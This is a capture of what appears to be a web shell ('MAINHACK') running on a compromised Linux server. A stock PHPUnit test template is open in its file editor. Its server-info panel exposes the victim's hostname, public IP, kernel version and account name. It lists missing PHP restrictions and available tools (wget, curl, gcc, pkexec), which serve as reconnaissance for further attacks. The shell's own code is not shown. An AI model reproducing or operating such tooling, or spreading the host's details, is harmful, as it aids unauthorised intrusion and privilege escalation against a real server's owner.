[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TestCaseClass.tpl
<?php declare(strict_types=1); use PHPUnit\Event\Facade; use PHPUnit\Runner\CodeCoverage; use PHPUnit\TextUI\Configuration\Registry as ConfigurationRegistry; use PHPUnit\TextUI\Configuration\CodeCoverageFilterRegistry; use PHPUnit\TextUI\Configuration\PhpHandler; use PHPUnit\TestRunner\TestResult\PassedTests; // php://stdout does not obey output buffering. Any output would break // unserialization of child process results in the parent process. if (!defined('STDOUT')) { define('STDOUT', fopen('php://temp', 'w+b')); define('STDERR', fopen('php://stderr', 'wb')); } {iniSettings} ini_set('display_errors', 'stderr'); set_include_path('{include_path}'); $composerAutoload = {composerAutoload}; $phar = {phar}; ob_start(); if ($composerAutoload) { require_once $composerAutoload; define('PHPUNIT_COMPOSER_INSTALL', $composerAutoload); } else if ($phar) { require $phar; } function __phpunit_run_isolated_test() { $dispatcher = Facade::instance()->initForIsolation( PHPUnit\Event\Telemetry\HRTime::fromSecondsAndNanoseconds( {offsetSeconds}, {offsetNanoseconds} ), {exportObjects}, ); require_once '{filename}'; if ({collectCodeCoverageInformation}) { CodeCoverage::instance()->init(ConfigurationRegistry::get(), CodeCoverageFilterRegistry::instance(), true); CodeCoverage::instance()->ignoreLines({linesToBeIgnored}); } $test = new {className}('{name}'); $test->setData('{dataName}', unserialize('{data}')); $test->setDependencyInput(unserialize('{dependencyInput}')); $test->setInIsolation(true); ob_end_clean(); $test->run(); $output = ''; if (!$test->expectsOutput()) { $output = $test->output(); } ini_set('xdebug.scream', '0'); // Not every STDOUT target stream is rewindable @rewind(STDOUT); if ($stdout = @stream_get_contents(STDOUT)) { $output = $stdout . $output; $streamMetaData = stream_get_meta_data(STDOUT); if (!empty($streamMetaData['stream_type']) && 'STDIO' === $streamMetaData['stream_type']) { @ftruncate(STDOUT, 0); @rewind(STDOUT); } } file_put_contents( '{processResultFile}', serialize( [ 'testResult' => $test->result(), 'codeCoverage' => {collectCodeCoverageInformation} ? CodeCoverage::instance()->codeCoverage() : null, 'numAssertions' => $test->numberOfAssertionsPerformed(), 'output' => $output, 'events' => $dispatcher->flush(), 'passedTests' => PassedTests::instance() ] ) ); } function __phpunit_error_handler($errno, $errstr, $errfile, $errline) { return true; } set_error_handler('__phpunit_error_handler'); {constants} {included_files} {globals} restore_error_handler(); ConfigurationRegistry::loadFrom('{serializedConfiguration}'); (new PhpHandler)->handle(ConfigurationRegistry::get()->php()); if ('{bootstrap}' !== '') { require_once '{bootstrap}'; } __phpunit_run_isolated_test();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002